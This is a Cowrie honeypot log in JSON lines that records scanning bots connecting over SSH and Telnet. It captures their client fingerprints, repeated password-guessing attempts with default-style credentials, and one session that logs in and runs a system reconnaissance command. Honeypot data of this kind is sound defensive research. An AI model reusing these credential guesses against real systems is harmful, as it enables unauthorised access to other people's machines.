{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:26.836730Z","src_ip":"103.143.231.102","session":"a1acf739c56d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:26.906263Z","src_ip":"103.143.231.102","session":"a1acf739c56d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user@123","message":"login attempt [root/user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:27.217474Z","src_ip":"103.143.231.102","session":"a1acf739c56d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:28.290539Z","src_ip":"103.143.231.102","session":"a1acf739c56d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57850,"dst_ip":"159.203.135.109","dst_port":22,"session":"80486d6f7075","protocol":"ssh","message":"New connection: 45.156.87.254:57850 (159.203.135.109:22) [session: 80486d6f7075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:28.421474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:28.428761Z","src_ip":"45.156.87.254","session":"80486d6f7075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:28.520867Z","src_ip":"45.156.87.254","session":"80486d6f7075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:28.786221Z","src_ip":"45.156.87.254","session":"80486d6f7075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":59206,"dst_ip":"10.17.0.5","dst_port":23,"session":"81da4bc4b9fb","protocol":"telnet","message":"New connection: 20.123.41.163:59206 (10.17.0.5:23) [session: 81da4bc4b9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:29.269305Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":59208,"dst_ip":"10.17.0.5","dst_port":23,"session":"397556e3fda4","protocol":"telnet","message":"New connection: 20.123.41.163:59208 (10.17.0.5:23) [session: 397556e3fda4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:29.769179Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:29.873225Z","src_ip":"45.156.87.254","session":"80486d6f7075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.0738563537597656,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:32.842902Z","src_ip":"20.123.41.163","session":"397556e3fda4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44770,"dst_ip":"159.203.135.109","dst_port":22,"session":"d61147e6bc59","protocol":"ssh","message":"New connection: 45.156.87.254:44770 (159.203.135.109:22) [session: d61147e6bc59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:33.784455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:33.788849Z","src_ip":"45.156.87.254","session":"d61147e6bc59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:33.883817Z","src_ip":"45.156.87.254","session":"d61147e6bc59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.7.150.236","src_port":44264,"dst_ip":"10.17.0.5","dst_port":23,"session":"b55753e36e6e","protocol":"telnet","message":"New connection: 200.7.150.236:44264 (10.17.0.5:23) [session: b55753e36e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:34.034946Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:34.274781Z","src_ip":"45.156.87.254","session":"d61147e6bc59","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:34.535351Z","src_ip":"45.156.87.254","session":"d61147e6bc59","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:34.538641Z","src_ip":"45.156.87.254","session":"d61147e6bc59","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:34.626295Z","src_ip":"45.156.87.254","session":"d61147e6bc59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:34.631146Z","src_ip":"45.156.87.254","session":"d61147e6bc59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.174068689346313,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:37.443280Z","src_ip":"20.123.41.163","session":"81da4bc4b9fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6952199935913086,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:37.730013Z","src_ip":"200.7.150.236","session":"b55753e36e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.7.150.236","src_port":44508,"dst_ip":"10.17.0.5","dst_port":23,"session":"4315f1f4a946","protocol":"telnet","message":"New connection: 200.7.150.236:44508 (10.17.0.5:23) [session: 4315f1f4a946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:37.950908Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43434,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a8f590176b7","protocol":"ssh","message":"New connection: 45.156.87.254:43434 (159.203.135.109:22) [session: 9a8f590176b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:39.805200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:39.836177Z","src_ip":"45.156.87.254","session":"9a8f590176b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:39.890738Z","src_ip":"45.156.87.254","session":"9a8f590176b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:40.265707Z","src_ip":"45.156.87.254","session":"9a8f590176b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:41.355020Z","src_ip":"45.156.87.254","session":"9a8f590176b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.7437217235565186,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:41.694498Z","src_ip":"200.7.150.236","session":"4315f1f4a946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.290672302246094,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:43.773703Z","src_ip":"104.245.105.2","session":"2848e0612ecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43452,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f312a4a06fa","protocol":"ssh","message":"New connection: 45.156.87.254:43452 (159.203.135.109:22) [session: 6f312a4a06fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:45.298966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:45.303129Z","src_ip":"45.156.87.254","session":"6f312a4a06fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:45.387467Z","src_ip":"45.156.87.254","session":"6f312a4a06fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:45.641287Z","src_ip":"45.156.87.254","session":"6f312a4a06fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:46.727468Z","src_ip":"45.156.87.254","session":"6f312a4a06fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49868,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b677a8792a2","protocol":"ssh","message":"New connection: 45.156.87.254:49868 (159.203.135.109:22) [session: 0b677a8792a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:50.394030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:50.404780Z","src_ip":"45.156.87.254","session":"0b677a8792a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:50.489024Z","src_ip":"45.156.87.254","session":"0b677a8792a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:50.739448Z","src_ip":"45.156.87.254","session":"0b677a8792a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:51.824782Z","src_ip":"45.156.87.254","session":"0b677a8792a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":44834,"dst_ip":"10.17.0.5","dst_port":22,"session":"83f4cb24c94a","protocol":"ssh","message":"New connection: 185.16.214.226:44834 (10.17.0.5:22) [session: 83f4cb24c94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:54.455824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:54.461305Z","src_ip":"185.16.214.226","session":"83f4cb24c94a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:54.589393Z","src_ip":"185.16.214.226","session":"83f4cb24c94a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.7489550113678,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:54.987331Z","src_ip":"20.123.41.163","session":"eafd029986ce","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2017","message":"login attempt [admin/Server2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:55.134353Z","src_ip":"185.16.214.226","session":"83f4cb24c94a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49878,"dst_ip":"159.203.135.109","dst_port":22,"session":"e203b7cbbd4f","protocol":"ssh","message":"New connection: 45.156.87.254:49878 (159.203.135.109:22) [session: e203b7cbbd4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:55.327830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:55.336492Z","src_ip":"45.156.87.254","session":"e203b7cbbd4f","protocol":"ssh"}
